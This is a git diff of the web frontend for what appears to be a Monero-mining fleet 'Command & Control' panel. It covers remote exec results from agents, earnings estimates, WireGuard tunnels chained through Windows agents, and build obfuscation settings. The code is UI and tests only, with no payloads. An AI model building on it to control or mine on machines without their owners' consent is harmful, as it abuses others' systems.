+ commandResults: [{ agent_id: 'agent-ccc-003', action: 'exec', success: true, message: 'first', _seq: 1 }],
+ });
+ const { rerender } = renderCrucible(ws1);
+
+ await waitFor(() => expect(screen.getByText('first')).toBeInTheDocument());
+
+ // Update: add seq=2, keep seq=1 — only 'second' should be added (not 'first' again)
+ const ws2 = makeWsValue({
+ agents: [agent],
+ commandResults: [
+ { agent_id: 'agent-ccc-003', action: 'exec', success: true, message: 'first', _seq: 1 },
+ { agent_id: 'agent-ccc-003', action: 'exec', success: true, message: 'second', _seq: 2 },
+ ],
+ });
+ useWebSocketMock.mockReturnValue(ws2 as ReturnType);
+ rerender(
+
+
+
+ );
+
+ await waitFor(() => expect(screen.getByText('second')).toBeInTheDocument());
+ // 'first' should appear exactly once (not twice from a replay)
+ expect(screen.getAllByText('first')).toHaveLength(1);
+ });
+
+ it('shows fallback line when command result message is empty', async () => {
+ const agent = mockAgent({ id: 'agent-empty-001', name: 'EmptyNode', status: 'online' });
+ renderCrucible(
+ makeWsValue({
+ agents: [agent],
+ commandResults: [
+ { agent_id: 'agent-empty-001', action: 'pause', success: true, message: '', _seq: 1 },
+ ],
+ }),
+ );
+
+ await waitFor(() => {
+ expect(screen.getByText('[pause] OK')).toBeInTheDocument();
+ });
+ });
+});
+
+// ── Helper function tests ─────────────────────────────────────────────────
+
describe('CruciblePage helpers', () => {
it('agentColor cycles palette by agent order', () => {
const ids = ['a', 'b', 'c'];
diff --git a/server/web/src/pages/CruciblePage.tsx b/server/web/src/pages/CruciblePage.tsx
index c18d412..adcaa4b 100644
--- a/server/web/src/pages/CruciblePage.tsx
+++ b/server/web/src/pages/CruciblePage.tsx
@@ -11,6 +11,7 @@ import { primaryGroupForAgent } from '../help/fleetGroups';
import { useFleetGroups } from '../hooks/useFleetGroups';
import { useMatrixRain } from '../context/MatrixRainContext';
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
+import type { WSCommandResult } from '../types/ws';
import { sanitizeScreenshotBase64 } from '../help/screenshotDownload';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
@@ -306,7 +307,7 @@ const TERM_RENDER_CAP = 400;
// ── Component ──────────────────────────────────────────────────────────────
export default function CruciblePage() {
- const { agents, commandResults } = useWebSocket();
+ const { agents, commandResults, latestMessage } = useWebSocket();
const { setCrucibleFocus } = useMatrixRain();
// Selection
@@ -322,6 +323,7 @@ export default function CruciblePage() {
const termEndRef = useRef(null);
const cmdRef = useRef(null);
const lastSeqRef = useRef(0);
+ const lastLatestCmdRef = useRef(null);
// Command history
const [cmdHistory, setCmdHistory] = useState([]);
@@ -435,12 +437,18 @@ export default function CruciblePage() {
useEffect(() => {
if (!commandResults || commandResults.length === 0) return;
- const newEntries = commandResults.filter((r) => r._seq > lastSeqRef.current);
+ const newEntries = commandResults.filter(
+ (r) => typeof r._seq === 'number' && r._seq > lastSeqRef.current,
+ );
if (newEntries.length === 0) return;
- lastSeqRef.current = newEntries[newEntries.length - 1]._seq;
const lines: TermLine[] = [];
+ let maxSeq = lastSeqRef.current;
+
for (const r of newEntries) {
+ if (typeof r._seq === 'number') {
+ maxSeq = Math.max(maxSeq, r._seq);
+ }
const aid = r.agent_id;
if (!aid) continue;
@@ -517,6 +525,10 @@ export default function CruciblePage() {
});
} else {
const msgLines = msg.split('\n').filter(Boolean);
+ if (msgLines.length === 0) {
+ const label = r.action ? `[${r.action}]` : '[result]';
+ msgLines.push(r.success ? `${label} OK` : `${label} FAILED`);
+ }
for (const line of msgLines) {
lines.push({
id: mkId(), agentId: aid, agentName: name,
@@ -525,12 +537,64 @@ export default function CruciblePage() {
}
}
}
+
+ lastSeqRef.current = maxSeq;
if (lines.length > 0) {
setTermLines((prev) => [...prev, ...lines].slice(-2000));
}
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [commandResults]);
+ // Backup path: if commandResults batching ever misses an entry, latestMessage
+ // still carries command_result (WS_LATEST_MESSAGE_TYPES includes it).
+ useEffect(() => {
+ if (!latestMessage || latestMessage.type !== 'command_result') return;
+ if (latestMessage === lastLatestCmdRef.current) return;
+ lastLatestCmdRef.current = latestMessage;
+
+ let r = latestMessage.payload as WSCommandResult | string;
+ if (typeof r === 'string') {
+ try {
+ r = JSON.parse(r) as WSCommandResult;
+ } catch {
+ return;
+ }
+ }
+ const aid = r.agent_id;
+ if (!aid) return;
+
+ // commandResults effect owns entries already queued in the provider buffer
+ if (
+ commandResults?.some(
+ (c) => c.agent_id === aid && c.action === r.action && c.message === r.message,
+ )
+ ) {
+ return;
+ }
+
+ const msg = r.message ?? '';
+ const agent = agents.find((a) => a.id === aid);
+ const name = agent?.name ?? aid.slice(0, 8);
+ const targeted = selectedIds.size === 0 || selectedIds.has(aid);
+ const msgLines = msg.split('\n').filter(Boolean);
+ if (msgLines.length === 0) {
+ const label = r.action ? `[${r.action}]` : '[result]';
+ msgLines.push(r.success ? `${label} OK` : `${label} FAILED`);
+ }
+ const lines: TermLine[] = msgLines.map((line) => ({
+ id: mkId(),
+ agentId: aid,
+ agentName: name,
+ isCmd: false,
+ text: line,
+ ts: new Date(),
+ success: r.success,
+ targeted,
+ }));
+ setTermLines((prev) => [...prev, ...lines].slice(-2000));
+ // eslint-disable-next-line react-hooks/exhaustive-deps
+ }, [latestMessage, commandResults]);
+
// ── Selection helpers ──────────────────────────────────────────────────
const toggle = (id: string) =>
diff --git a/server/web/src/pages/DashboardPage.tsx b/server/web/src/pages/DashboardPage.tsx
index 6cb1867..3562607 100644
--- a/server/web/src/pages/DashboardPage.tsx
+++ b/server/web/src/pages/DashboardPage.tsx
@@ -49,8 +49,25 @@ import {
} from '../help/chartSampleData';
import './Pages.css';
+const SKELETON_HEIGHTS = [0.30, 0.55, 0.40, 0.70, 0.50, 0.65, 0.45, 0.80, 0.60, 0.35];
+
function ChartPlaceholder({ height }: { height: number }) {
- return
;
+ return (
+
+
+ {SKELETON_HEIGHTS.map((h, i) => (
+
+ ))}
+
+
+ );
}
/** Format GPU KawPoW hashrate (H/s units, displayed as MH/s or GH/s). */
@@ -68,7 +85,7 @@ export default function DashboardPage() {
const [restAlerts, setRestAlerts] = useState([]);
const [restPools, setRestPools] = useState([]);
const [restAI, setRestAI] = useState([]);
- const [subtitle, setSubtitle] = useState('security is just an emotion');
+ const [subtitle, setSubtitle] = useState('Fleet Command & Control');
const [hashHistory, setHashHistory] = useState<{ time: string; value: number }[]>([]);
const [acceptHistory, setAcceptHistory] = useState<{ time: string; value: number }[]>([]);
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
@@ -171,23 +188,6 @@ export default function DashboardPage() {
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
- useEffect(() => {
- if (totalHashrate <= 0) {
- setEstXmrDay(null);
- return;
- }
- const controller = new AbortController();
- api
- .getEarningsEstimate(totalHashrate)
- .then((r) => {
- if (!controller.signal.aborted) setEstXmrDay(r.xmr_per_day ?? null);
- })
- .catch(() => {
- if (!controller.signal.aborted) setEstXmrDay(null);
- });
- return () => controller.abort();
- }, [totalHashrate]);
-
const chartMetricsRef = useRef({
totalHashrate,
acceptRate,
@@ -203,7 +203,12 @@ export default function DashboardPage() {
totalGPUHashrate,
};
+ // Track last hashrate value we fetched earnings for — avoids redundant API calls.
+ const lastEarningsHashRef = useRef(0);
+ const earningsControllerRef = useRef(null);
+
// Sample fleet metrics every 2s instead of on every WS stats_update (reduces chart re-renders).
+ // Earnings estimate is also debounced here — fetched at most once per 2s when hashrate changes.
useEffect(() => {
const sample = () => {
if (document.hidden) return;
@@ -216,10 +221,28 @@ export default function DashboardPage() {
if (m.totalGPUHashrate > 0) {
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: m.totalGPUHashrate }]);
}
+ // Debounced earnings estimate — only re-fetch when hashrate actually changed.
+ if (m.totalHashrate !== lastEarningsHashRef.current) {
+ lastEarningsHashRef.current = m.totalHashrate;
+ earningsControllerRef.current?.abort();
+ if (m.totalHashrate <= 0) {
+ setEstXmrDay(null);
+ } else {
+ const controller = new AbortController();
+ earningsControllerRef.current = controller;
+ api
+ .getEarningsEstimate(m.totalHashrate)
+ .then((r) => { if (!controller.signal.aborted) setEstXmrDay(r.xmr_per_day ?? null); })
+ .catch(() => { if (!controller.signal.aborted) setEstXmrDay(null); });
+ }
+ }
};
sample();
const id = window.setInterval(sample, 2000);
- return () => window.clearInterval(id);
+ return () => {
+ window.clearInterval(id);
+ earningsControllerRef.current?.abort();
+ };
}, []);
const hashChart = useMemo(() => resolveChartSeries(hashHistory), [hashHistory]);
diff --git a/server/web/src/pages/EmberwakePage.tsx b/server/web/src/pages/EmberwakePage.tsx
index 92cbc7a..6822ff6 100644
--- a/server/web/src/pages/EmberwakePage.tsx
+++ b/server/web/src/pages/EmberwakePage.tsx
@@ -1,6 +1,5 @@
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { Link } from 'react-router-dom';
-import { useVisibleInterval } from '../hooks/usePageVisible';
import { api } from '../api/client';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
import { publicDownloadUrl } from '../help/emberwake';
@@ -41,7 +40,6 @@ function CopyChip({ text, label }: { text: string; label: string }) {
const NOTES_TYPING_DEBOUNCE_MS = 400;
const NOTES_TYPING_IDLE_MS = 2000;
const WAR_ROOM_DAYS = 7;
-const WAR_ROOM_POLL_MS = 15_000;
export default function EmberwakePage() {
const { latestMessage } = useWebSocket();
@@ -113,10 +111,6 @@ export default function EmberwakePage() {
void load().catch(() => {});
}, [load]);
- useVisibleInterval(() => {
- void loadWarRoom().catch(() => {});
- }, WAR_ROOM_POLL_MS);
-
useEffect(() => {
if (!latestMessage) return;
if (latestMessage.type === 'emberwake_notes_updated') {
@@ -318,7 +312,7 @@ export default function EmberwakePage() {
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
- {' · '}poll {WAR_ROOM_POLL_MS / 1000}s
+ {' '}
@@ -344,6 +338,7 @@ export default function EmberwakePage() {
Constellations
+
WebSocket push ~30s
diff --git a/server/web/src/pages/Pages.css b/server/web/src/pages/Pages.css
index 142fe6c..fce7f19 100644
--- a/server/web/src/pages/Pages.css
+++ b/server/web/src/pages/Pages.css
@@ -1981,3 +1981,31 @@ button.deliverable-card .form-hint {
.rvn-rig-model,
.rvn-rig-pct { display: none; }
}
+
+/* Chart skeleton — visible branded loading placeholder */
+@keyframes chart-skeleton-pulse {
+ 0%, 100% { opacity: 0.12; }
+ 50% { opacity: 0.28; }
+}
+
+.chart-skeleton {
+ position: relative;
+ border-radius: 6px;
+ overflow: hidden;
+ background: rgba(61, 214, 198, 0.04);
+}
+
+.chart-skeleton svg rect {
+ fill: var(--neon-cyan, #3dd6c6);
+ animation: chart-skeleton-pulse 1.6s ease-in-out infinite;
+}
+
+.chart-skeleton svg rect:nth-child(2) { animation-delay: 0.1s; }
+.chart-skeleton svg rect:nth-child(3) { animation-delay: 0.2s; }
+.chart-skeleton svg rect:nth-child(4) { animation-delay: 0.3s; }
+.chart-skeleton svg rect:nth-child(5) { animation-delay: 0.4s; }
+.chart-skeleton svg rect:nth-child(6) { animation-delay: 0.5s; }
+.chart-skeleton svg rect:nth-child(7) { animation-delay: 0.6s; }
+.chart-skeleton svg rect:nth-child(8) { animation-delay: 0.7s; }
+.chart-skeleton svg rect:nth-child(9) { animation-delay: 0.8s; }
+.chart-skeleton svg rect:nth-child(10) { animation-delay: 0.9s; }
diff --git a/server/web/src/pages/PathTracerPage.test.tsx b/server/web/src/pages/PathTracerPage.test.tsx
new file mode 100644
index 0000000..4203732
--- /dev/null
+++ b/server/web/src/pages/PathTracerPage.test.tsx
@@ -0,0 +1,310 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { cleanup, render, screen, waitFor } from '@testing-library/react';
+import userEvent from '@testing-library/user-event';
+import { MemoryRouter } from 'react-router-dom';
+import PathTracerPage from './PathTracerPage';
+import { mockAgent } from '../test/fixtures';
+import { routerFuture } from '../routerFuture';
+import { useWebSocket } from '../hooks/useWebSocket';
+import { api } from '../api/client';
+
+vi.mock('../hooks/useWebSocket', () => ({
+ useWebSocket: vi.fn(),
+}));
+
+vi.mock('../context/AmbientMusicContext', () => ({
+ useModalAmbientDuck: vi.fn(),
+}));
+
+vi.mock('../components/HelpTip', () => ({
+ HelpTip: () => null,
+}));
+
+const useWebSocketMock = vi.mocked(useWebSocket);
+
+function wsValue(overrides: Partial> = {}) {
+ return {
+ isConnected: true,
+ agents: [],
+ recentShares: [],
+ fleetAlerts: [],
+ poolStatus: [],
+ aiActivity: [],
+ agentLogs: {},
+ commandResults: [],
+ latestMessage: null,
+ ...overrides,
+ };
+}
+
+function renderPage() {
+ return render(
+
+
+ ,
+ );
+}
+
+const windowsAgent = mockAgent({ id: 'win-1', name: 'Rig Alpha', platform: 'windows', status: 'online' });
+const linuxAgent = mockAgent({ id: 'lin-1', name: 'Linux Box', platform: 'linux', status: 'online' });
+const offlineAgent = mockAgent({ id: 'off-1', name: 'Dead Node', status: 'offline' });
+
+// Capture the most-recently registered setInterval callback so tests can
+// trigger a poll tick without waiting the real 2-second interval delay.
+let capturedPollTick: (() => void) | null = null;
+let origSetInterval: typeof globalThis.setInterval;
+let origClearInterval: typeof globalThis.clearInterval;
+const fakeIntervalIds: Map void> = new Map();
+let nextFakeId = 1000;
+
+function installIntervalHook() {
+ origSetInterval = globalThis.setInterval;
+ origClearInterval = globalThis.clearInterval;
+
+ // Only intercept polling-style intervals (2000ms) coming from PathTracerPage;
+ // leave others alone so React and userEvent timers function normally.
+ (globalThis as unknown as { setInterval: typeof setInterval }).setInterval = (fn: TimerHandler, delay?: number, ...args: unknown[]) => {
+ if (delay === 2000 && typeof fn === 'function') {
+ const id = nextFakeId++;
+ fakeIntervalIds.set(id, fn as () => void);
+ capturedPollTick = fn as () => void;
+ return id as unknown as ReturnType;
+ }
+ return origSetInterval(fn, delay, ...args);
+ };
+
+ (globalThis as unknown as { clearInterval: typeof clearInterval }).clearInterval = (id?: ReturnType | number | string) => {
+ if (typeof id === 'number' && fakeIntervalIds.has(id)) {
+ fakeIntervalIds.delete(id);
+ capturedPollTick = null;
+ return;
+ }
+ origClearInterval(id as ReturnType);
+ };
+}
+
+function uninstallIntervalHook() {
+ globalThis.setInterval = origSetInterval;
+ globalThis.clearInterval = origClearInterval;
+ capturedPollTick = null;
+ fakeIntervalIds.clear();
+}
+
+describe('PathTracerPage', () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ installIntervalHook();
+ useWebSocketMock.mockReturnValue(wsValue());
+ vi.spyOn(api, 'listAgents').mockResolvedValue([]);
+ vi.spyOn(api, 'startTrace').mockResolvedValue({ session_id: 'sess-1', hops: [] });
+ vi.spyOn(api, 'getTraceStatus').mockResolvedValue({ session_id: 'sess-1', ready: false, hops: [] });
+ vi.spyOn(api, 'getTraceQR').mockResolvedValue({ config: 'wg-conf', qr_png_b64: 'abc123' });
+ vi.spyOn(api, 'deleteTrace').mockResolvedValue({ ok: true });
+ });
+
+ afterEach(() => {
+ uninstallIntervalHook();
+ cleanup();
+ });
+
+ it('renders page heading', () => {
+ renderPage();
+ expect(screen.getByRole('heading', { level: 1 })).toBeInTheDocument();
+ expect(screen.getByText(/Path Tracer/i)).toBeInTheDocument();
+ });
+
+ it('shows online agents from WebSocket and offline agents separately', () => {
+ useWebSocketMock.mockReturnValue(
+ wsValue({ agents: [windowsAgent, linuxAgent, offlineAgent] }),
+ );
+ renderPage();
+ expect(screen.getByText('Rig Alpha')).toBeInTheDocument();
+ expect(screen.getByText('Linux Box')).toBeInTheDocument();
+ expect(screen.getByText('Dead Node')).toBeInTheDocument();
+ });
+
+ it('TRACE button is disabled when no agents are selected', () => {
+ useWebSocketMock.mockReturnValue(wsValue({ agents: [windowsAgent] }));
+ renderPage();
+ expect(screen.getByRole('button', { name: /TRACE/i })).toBeDisabled();
+ });
+
+ it('selects and deselects a Windows agent by clicking', async () => {
+ useWebSocketMock.mockReturnValue(wsValue({ agents: [windowsAgent] }));
+ const user = userEvent.setup();
+ renderPage();
+
+ const card = screen.getByText('Rig Alpha').closest('.pt-agent-card') as HTMLElement;
+ await user.click(card);
+ expect(card.querySelector('.pt-agent-card-order')).toHaveTextContent('1');
+ expect(screen.getByRole('button', { name: /TRACE/i })).not.toBeDisabled();
+
+ await user.click(card);
+ expect(card.querySelector('.pt-agent-card-order')).not.toBeInTheDocument();
+ expect(screen.getByRole('button', { name: /TRACE/i })).toBeDisabled();
+ });
+
+ it('limits selection to 3 agents', async () => {
+ const agents = [
+ mockAgent({ id: 'w1', name: 'Win 1', platform: 'windows', status: 'online' }),
+ mockAgent({ id: 'w2', name: 'Win 2', platform: 'windows', status: 'online' }),
+ mockAgent({ id: 'w3', name: 'Win 3', platform: 'windows', status: 'online' }),
+ mockAgent({ id: 'w4', name: 'Win 4', platform: 'windows', status: 'online' }),
+ ];
+ useWebSocketMock.mockReturnValue(wsValue({ agents }));
+ const user = userEvent.setup();
+ renderPage();
+
+ for (const name of ['Win 1', 'Win 2', 'Win 3', 'Win 4']) {
+ const card = screen.getByText(name).closest('.pt-agent-card') as HTMLElement;
+ await user.click(card);
+ }
+
+ const cards = document.querySelectorAll('.pt-agent-card-order');
+ expect(cards).toHaveLength(3);
+ });
+
+ it('start button stays disabled for non-Windows agents', () => {
+ useWebSocketMock.mockReturnValue(wsValue({ agents: [linuxAgent] }));
+ renderPage();
+ expect(screen.getByRole('button', { name: /TRACE/i })).toBeDisabled();
+ });
+
+ it('starts polling after TRACE is clicked', async () => {
+ useWebSocketMock.mockReturnValue(wsValue({ agents: [windowsAgent] }));
+ const user = userEvent.setup();
+ renderPage();
+
+ const card = screen.getByText('Rig Alpha').closest('.pt-agent-card') as HTMLElement;
+ await user.click(card);
+ await user.click(screen.getByRole('button', { name: /TRACE/i }));
+
+ await waitFor(() => expect(api.startTrace).toHaveBeenCalledWith(['win-1']));
+
+ // Trigger the captured poll tick directly (no real 2s wait).
+ await waitFor(() => expect(capturedPollTick).not.toBeNull());
+ capturedPollTick!();
+ await waitFor(() => expect(api.getTraceStatus).toHaveBeenCalledWith('sess-1'));
+ });
+
+ it('shows End Session button while tracing', async () => {
+ useWebSocketMock.mockReturnValue(wsValue({ agents: [windowsAgent] }));
+ const user = userEvent.setup();
+ renderPage();
+
+ const card = screen.getByText('Rig Alpha').closest('.pt-agent-card') as HTMLElement;
+ await user.click(card);
+ await user.click(screen.getByRole('button', { name: /TRACE/i }));
+ await waitFor(() => expect(api.startTrace).toHaveBeenCalled());
+
+ expect(screen.getByRole('button', { name: /End Session/i })).toBeInTheDocument();
+ });
+
+ it('stops polling and resets state when End Session is clicked', async () => {
+ useWebSocketMock.mockReturnValue(wsValue({ agents: [windowsAgent] }));
+ const user = userEvent.setup();
+ renderPage();
+
+ const card = screen.getByText('Rig Alpha').closest('.pt-agent-card') as HTMLElement;
+ await user.click(card);
+ await user.click(screen.getByRole('button', { name: /TRACE/i }));
+ await waitFor(() => expect(api.startTrace).toHaveBeenCalled());
+
+ await user.click(screen.getByRole('button', { name: /End Session/i }));
+ await waitFor(() => expect(api.deleteTrace).toHaveBeenCalledWith('sess-1'));
+
+ // After ending, the TRACE button reappears (disabled, nothing selected)
+ await waitFor(() => expect(screen.getByRole('button', { name: /TRACE/i })).toBeInTheDocument());
+ expect(screen.queryByRole('button', { name: /End Session/i })).not.toBeInTheDocument();
+
+ // Further poll ticks must not fire — capturedPollTick cleared on clearInterval
+ expect(capturedPollTick).toBeNull();
+ });
+
+ it('error state: shows prominent error, End Session button, and countdown', async () => {
+ vi.mocked(api.getTraceStatus).mockResolvedValue({
+ session_id: 'sess-1',
+ ready: false,
+ error: 'wg_setup failed: not supported',
+ hops: [],
+ });
+
+ useWebSocketMock.mockReturnValue(wsValue({ agents: [windowsAgent] }));
+ const user = userEvent.setup();
+ renderPage();
+
+ const card = screen.getByText('Rig Alpha').closest('.pt-agent-card') as HTMLElement;
+ await user.click(card);
+ await user.click(screen.getByRole('button', { name: /TRACE/i }));
+ await waitFor(() => expect(api.startTrace).toHaveBeenCalled());
+
+ // Trigger a single poll tick to deliver the error.
+ await waitFor(() => expect(capturedPollTick).not.toBeNull());
+ capturedPollTick!();
+
+ await waitFor(() => {
+ expect(screen.getByRole('alert')).toBeInTheDocument();
+ expect(screen.getByText(/wg_setup failed/i)).toBeInTheDocument();
+ });
+
+ // End Session button must be visible even though tracing state is now false.
+ expect(screen.getByRole('button', { name: /End Session/i })).toBeInTheDocument();
+ // Countdown text visible.
+ expect(screen.getByText(/Session will be terminated/i)).toBeInTheDocument();
+ });
+
+ it('error state: clicking End Session cancels auto-delete and clears session', async () => {
+ vi.mocked(api.getTraceStatus).mockResolvedValue({
+ session_id: 'sess-1',
+ ready: false,
+ error: 'tunnel setup error',
+ hops: [],
+ });
+
+ useWebSocketMock.mockReturnValue(wsValue({ agents: [windowsAgent] }));
+ const user = userEvent.setup();
+ renderPage();
+
+ const card = screen.getByText('Rig Alpha').closest('.pt-agent-card') as HTMLElement;
+ await user.click(card);
+ await user.click(screen.getByRole('button', { name: /TRACE/i }));
+ await waitFor(() => expect(capturedPollTick).not.toBeNull());
+ capturedPollTick!();
+ await waitFor(() => screen.getByRole('alert'));
+
+ // Manually end the session before countdown fires.
+ await user.click(screen.getByRole('button', { name: /End Session/i }));
+ await waitFor(() => expect(api.deleteTrace).toHaveBeenCalledWith('sess-1'));
+
+ // Session cleared — TRACE button is back.
+ await waitFor(() => expect(screen.getByRole('button', { name: /TRACE/i })).toBeInTheDocument());
+ });
+
+ it('QR modal renders when status becomes ready', async () => {
+ vi.mocked(api.getTraceStatus).mockResolvedValue({
+ session_id: 'sess-1',
+ ready: true,
+ hops: [{ agent_id: 'win-1', status: 'ready' }],
+ });
+
+ useWebSocketMock.mockReturnValue(wsValue({ agents: [windowsAgent] }));
+ const user = userEvent.setup();
+ renderPage();
+
+ const card = screen.getByText('Rig Alpha').closest('.pt-agent-card') as HTMLElement;
+ await user.click(card);
+ await user.click(screen.getByRole('button', { name: /TRACE/i }));
+ await waitFor(() => expect(capturedPollTick).not.toBeNull());
+ capturedPollTick!();
+
+ await waitFor(() => expect(api.getTraceQR).toHaveBeenCalledWith('sess-1'));
+ await waitFor(() => expect(screen.getByText('⬡ PATH TRACE ACTIVE')).toBeInTheDocument());
+
+ // QR image and config rendered inside modal.
+ expect(screen.getByAltText('WireGuard QR')).toBeInTheDocument();
+ expect(screen.getByText('wg-conf')).toBeInTheDocument();
+ });
+});
diff --git a/server/web/src/pages/PathTracerPage.tsx b/server/web/src/pages/PathTracerPage.tsx
index 52bda3c..c68bca7 100644
--- a/server/web/src/pages/PathTracerPage.tsx
+++ b/server/web/src/pages/PathTracerPage.tsx
@@ -113,6 +113,8 @@ export default function PathTracerPage() {
const [showQR, setShowQR] = useState(false);
const pollRef = useRef | null>(null);
+ const [autoEndCountdown, setAutoEndCountdown] = useState(null);
+ const autoEndRef = useRef | null>(null);
// Use WebSocket agents; fall back to REST on mount if WebSocket hasn't populated yet.
const agents = wsAgents.length > 0 ? wsAgents : restAgents;
@@ -121,8 +123,11 @@ export default function PathTracerPage() {
api.listAgents().then(setRestAgents).catch(() => {});
}, []);
- // Stop polling on unmount.
- useEffect(() => () => { if (pollRef.current) clearInterval(pollRef.current); }, []);
+ // Stop polling and auto-end timer on unmount.
+ useEffect(() => () => {
+ if (pollRef.current) clearInterval(pollRef.current);
+ if (autoEndRef.current) clearInterval(autoEndRef.current);
+ }, []);
const toggleAgent = (id: string, offline: boolean) => {
if (offline) return;
@@ -186,6 +191,8 @@ export default function PathTracerPage() {
};
const handleEndSession = useCallback(async () => {
+ if (autoEndRef.current) { clearInterval(autoEndRef.current); autoEndRef.current = null; }
+ setAutoEndCountdown(null);
if (!sessionID) return;
try {
await api.deleteTrace(sessionID);
@@ -201,6 +208,30 @@ export default function PathTracerPage() {
setError('');
}, [sessionID]);
+ // Auto-delete the session 10 seconds after an error, with a visible countdown.
+ useEffect(() => {
+ if (!error || !sessionID) return;
+ if (autoEndRef.current) clearInterval(autoEndRef.current);
+ const COUNTDOWN = 10;
+ setAutoEndCountdown(COUNTDOWN);
+ let remaining = COUNTDOWN;
+ autoEndRef.current = setInterval(() => {
+ remaining -= 1;
+ if (remaining <= 0) {
+ clearInterval(autoEndRef.current!);
+ autoEndRef.current = null;
+ setAutoEndCountdown(null);
+ handleEndSession();
+ } else {
+ setAutoEndCountdown(remaining);
+ }
+ }, 1000);
+ return () => {
+ if (autoEndRef.current) { clearInterval(autoEndRef.current); autoEndRef.current = null; }
+ };
+ // eslint-disable-next-line react-hooks/exhaustive-deps
+ }, [error, sessionID]);
+
const isWindows = (a: Agent) =>
!!(a.platform?.toLowerCase().includes('win') || a.platform?.toLowerCase().includes('windows'));
@@ -222,7 +253,17 @@ export default function PathTracerPage() {
- {error &&
⚠ {error}
}
+ {error && (
+
+
⚠ Session Error
+
{error}
+ {sessionID && autoEndCountdown !== null && (
+
+ Session will be terminated in {autoEndCountdown}s…
+
+ )}
+
+ )}
{tracing && !allHopsReady && !error && (
@@ -338,7 +379,7 @@ export default function PathTracerPage() {
{/* Controls */}
- {!tracing && (
+ {!tracing && !sessionID && (
)}
- {tracing && (
+ {(tracing || (!!error && !!sessionID)) && (
- End Session
+ End Session{autoEndCountdown !== null && ` (${autoEndCountdown}s)`}
)}
- {!tracing && selected.length > 0 && (
+ {!tracing && !sessionID && selected.length > 0 && (
setSelected([])}>
Clear
diff --git a/server/web/src/pages/SettingsPage.tsx b/server/web/src/pages/SettingsPage.tsx
index 1559d66..541148d 100644
--- a/server/web/src/pages/SettingsPage.tsx
+++ b/server/web/src/pages/SettingsPage.tsx
@@ -132,7 +132,7 @@ export default function SettingsPage() {
log_share_submissions: cfg.server?.log_share_submissions ?? false,
log_pool_traffic: cfg.server?.log_pool_traffic ?? false,
strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false,
- dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'security is just an emotion',
+ dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'Fleet Command & Control',
open_firewall_on_start: cfg.server?.open_firewall_on_start ?? true,
public_builds_enabled: cfg.server?.public_builds_enabled ?? false,
public_builds_latest_n: cfg.server?.public_builds_latest_n ?? 3,
diff --git a/server/web/src/test/fixtures.ts b/server/web/src/test/fixtures.ts
index 29ae7ab..13051ab 100644
--- a/server/web/src/test/fixtures.ts
+++ b/server/web/src/test/fixtures.ts
@@ -30,7 +30,7 @@ export function mockServerConfig(overrides: Partial = {}): ServerC
log_share_submissions: false,
log_pool_traffic: false,
strict_wallet_validation: false,
- dashboard_subtitle: 'security is just an emotion',
+ dashboard_subtitle: 'Fleet Command & Control',
open_firewall_on_start: true,
obfuscate_default: false,
sign_enabled: false,